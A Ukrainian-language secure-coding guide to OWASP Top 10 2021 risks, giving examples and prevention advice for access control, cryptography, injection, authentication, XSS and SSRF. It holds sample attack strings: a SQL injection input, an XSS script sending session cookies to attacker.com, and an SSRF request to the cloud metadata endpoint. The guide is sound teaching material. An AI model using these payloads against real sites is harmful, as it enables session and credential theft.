Безпечне програмування 101: вразливості OWASP Top 10

Чому одні й ті самі вразливості повторюються

OWASP Top 10 — це список, який підтримує Open Web Application Security Project, що містить найбільш критичні ризики безпеки вебзастосунків. Він публікується з 2003 року. Багато тих самих вразливостей з'являються десятиліття за десятиліттям — не тому, що розробники про них не знають, а тому, що їх легко допустити під тиском часу і для їх запобігання потрібні свідомі зусилля.

Цей посібник охоплює найбільш практично важливі пункти з видання OWASP Top 10 2021 року.

A01: Зламаний контроль доступу

Контроль доступу забезпечує, що користувачі можуть виконувати лише дозволені дії. Зламаний контроль доступу є найпоширенішою вразливістю в реальних застосунках.

Приклади:

• Користувач змінює ?user_id=123 на ?user_id=124 в URL і бачить чуже замовлення
• API-ендпоінт, що повертає всі записи, не перевіряє, чи запитувач є їх власником
• Звичайний користувач отримує доступ до /admin/delete-user, бо маршрут не захищений

Запобігання:

• Забезпечуйте контроль доступу на сервері, ніколи — на клієнті
• За замовчуванням відмовляйте: якщо явного дозволу немає — відхиляйте запит
• Використовуйте контроль доступу на основі ролей (RBAC) або атрибутів (ABAC)
• Реєструйте збої контролю доступу та сповіщайте про повторні порушення

A02: Криптографічні збої

Раніше відома як «Витік конфіденційних даних», ця категорія охоплює слабке або відсутнє шифрування конфіденційних даних.

Приклади:

• Паролі зберігаються у відкритому вигляді або за допомогою MD5/SHA-1 (не призначених для зберігання паролів)
• Конфіденційні дані передаються через HTTP замість HTTPS
• Ключі шифрування жорстко закодовані у вихідному коді або зафіксовані в репозиторії

Запобігання:

• Використовуйте bcrypt, scrypt або Argon2 для хешування паролів — ніколи не MD5, SHA-1 або SHA-256 окремо
• Примусово застосовуйте HTTPS скрізь; використовуйте HSTS
• Ротуйте та зберігайте секрети в менеджері секретів (AWS Secrets Manager, HashiCorp Vault, але не файли .env у репозиторіях)
• Ніколи не записуйте конфіденційні дані в логи (паролі, токени, номери кредитних карток)

A03: Ін'єкція

Атаки ін'єкції відбуваються, коли недовірені дані передаються інтерпретатору як частина команди або запиту. SQL-ін'єкція є найвідомішим прикладом, але сімейство включає ін'єкцію команд ОС, LDAP-ін'єкцію та інші.

Приклад SQL-ін'єкції:

-- Введення користувача: ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ''
-- Повертає всіх користувачів

Запобігання:

• Використовуйте параметризовані запити (підготовлені вирази) — ніколи не конкатенуйте дані користувача в SQL
• Використовуйте ORM, що автоматично обробляє параметризацію
• Перевіряйте та санітизуйте весь вхідний трафік
• Застосовуйте принцип найменших привілеїв для облікових записів бази даних — вебзастосунок не повинен підключатися як root

A04: Небезпечний дизайн

Ця категорія стосується фундаментальних недоліків дизайну, а не помилок реалізації. Система може бути ідеально закодована і все одно бути небезпечною за дизайном.

Приклади:

• Процедура скидання пароля, яка розкриває, чи зареєстрований email (дозволяючи перерахування облікових записів)
• API, що повертає весь об'єкт користувача, коли потрібне лише ім'я
• Система без обмеження частоти спроб автентифікації

Запобігання:

• Виконуйте моделювання загроз під час проектування, а не після
• Застосовуйте принцип найменших привілеїв на архітектурному рівні
• Включайте вимоги безпеки поруч із функціональними вимогами

A07: Збої ідентифікації та автентифікації

Слабка автентифікація та управління сесіями дозволяють зловмисникам видавати себе за користувачів.

Приклади:

• Дозвіл слабких паролів («password123» прийнято)
• Відсутність анулювання токенів сесії після виходу
• Зберігання ідентифікаторів сесій в URL-адресах, які потрапляють у логи сервера
• Відсутність блокування облікового запису або обмеження частоти спроб входу

Запобігання:

• Примусово застосовуйте MFA для всіх облікових записів користувачів, особливо адміністраторів
• Використовуйте перевірені бібліотеки автентифікації замість власної реалізації
• Генеруйте довгі випадкові токени сесій; анулюйте їх після виходу та після закінчення часу очікування
• Реалізуйте обмеження частоти та CAPTCHA на ендпоінтах входу та реєстрації

A05: Неправильна конфігурація безпеки

Неправильна конфігурація безпеки є найпоширенішою знахідкою в оцінках безпеки. Вона виникає через неповні конфігурації, відкриті хмарні сховища, увімкнені непотрібні функції, облікові дані за замовчуванням та занадто інформативні повідомлення про помилки.

Запобігання:

• Зміцнюйте конфігурації відповідно до базового рівня (CIS Benchmarks)
• Видаляйте облікові записи за замовчуванням і змінюйте стандартні паролі
• Вимикайте перелік директорій, непотрібні HTTP-методи, дебаг-ендпоінти на продакшн
• Використовуйте інфраструктуру як код для забезпечення узгодженості та аудиту конфігурацій

A03 Похідна: Міжсайтовий скриптинг (XSS)

XSS виникає, коли зловмисник впроваджує шкідливі скрипти у вебсторінки, що переглядаються іншими користувачами.

Приклад: Поле коментаря зберігає <script>document.location='https://attacker.com/steal?c='+document.cookie</script>. Кожен користувач, який переглядає сторінку, запускає скрипт, надсилаючи свій файл cookie сесії зловмиснику.

Типи:

• Збережений XSS — шкідливий скрипт збережено в базі даних
• Відображений XSS — скрипт включено в URL і відображено у відповіді
• DOM-based XSS — скрипт виконується через клієнтський JavaScript

Запобігання:

• Кодуйте весь вивід — HTML-кодуйте дані користувача перед їх вставкою в HTML-контекст
• Використовуйте заголовок Content Security Policy (CSP), щоб обмежити виконання скриптів
• Використовуйте сучасні фреймворки (React, Vue, Angular), що обробляють кодування виводу за замовчуванням
• Ніколи не використовуйте innerHTML з недовіреними даними; перевагу надавайте textContent

A10: Підробка запитів на стороні сервера (SSRF)

Вразливості SSRF дозволяють зловмисникам змусити сервер надсилати запити до непередбачених адресатів — включаючи внутрішні сервіси, недоступні з інтернету.

Приклад: Функція попереднього перегляду URL, що запитує http://169.254.169.254/latest/meta-data/ на AWS, повертає облікові дані хмарного екземпляру.

Запобігання:

• Перевіряйте та вносьте до списку дозволених URL-адреси, які сервер може запитувати
• Блокуйте запити до приватних діапазонів IP (10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.x.x)
• Вимикайте HTTP-перенаправлення в операціях отримання даних

Побудова безпечного циклу розробки

Виправлення вразливостей після розгортання коштує в 10–100 разів дорожче, ніж їх запобігання під час розробки. Інтегруйте безпеку в процес розробки:

1. Моделюйте загрози для нових функцій перед написанням коду
2. Використовуйте лінтери та інструменти SAST (Semgrep, CodeQL, Bandit) для автоматичного виявлення проблем
3. Проводьте перегляди коду з урахуванням безпеки
4. Запускайте інструменти DAST (OWASP ZAP) у тестових середовищах
5. Відстежуйте залежності та оновлюйте їх — багато витоків використовують відомі вразливості в бібліотеках

Безпека — це не функція, яку додають наприкінці. Це атрибут якості, вбудований у кожне рішення від проектування до розгортання.